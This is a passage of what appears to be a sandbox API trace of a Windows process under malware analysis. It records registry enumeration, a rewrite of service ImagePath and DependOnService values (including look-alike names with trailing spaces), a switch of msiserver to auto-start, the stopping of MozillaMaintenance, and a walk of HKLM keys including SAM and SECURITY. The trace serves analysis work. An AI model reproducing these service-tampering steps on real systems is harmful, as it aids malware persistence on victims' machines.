lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.327] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.327] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.327] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.375] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0232.375] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.375] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.376] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.376] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0232.377] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\msiexec.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\msiexec.exe" [0232.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0232.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0232.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0232.377] LocalFree (hMem=0x7e4b18) returned 0x0 [0232.377] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\msiexec.exe", cbData=0x20 | out: lpData="C:\\Windows\\system32\\msiexec.exe") returned 0x0 [0232.377] OpenServiceW (hSCManager=0x803918, lpServiceName="msiserver", dwDesiredAccess=0x2) returned 0x8038a0 [0232.377] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0232.380] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.380] RegCloseKey (hKey=0x148) returned 0x0 [0232.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0232.380] RegCloseKey (hKey=0x150) returned 0x0 [0232.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0232.381] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0232.381] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0232.381] CreateFileW (lpFileName="C:\\Windows\\system32\\msiexec.exe" (normalized: "c:\\windows\\system32\\msiexec.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.381] GetLastError () returned 0x20 [0232.381] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0232.382] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0232.382] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0232.382] OpenServiceW (hSCManager=0x803918, lpServiceName="MozillaMaintenance", dwDesiredAccess=0x20) returned 0x803990 [0232.382] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0232.516] CloseServiceHandle (hSCObject=0x803990) returned 1 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0232.516] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.516] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.516] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.516] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.516] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.517] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.517] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.517] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.517] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.517] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.518] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.518] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.518] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.518] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0232.518] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.518] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.519] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.519] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.519] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0232.519] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.519] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.519] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, 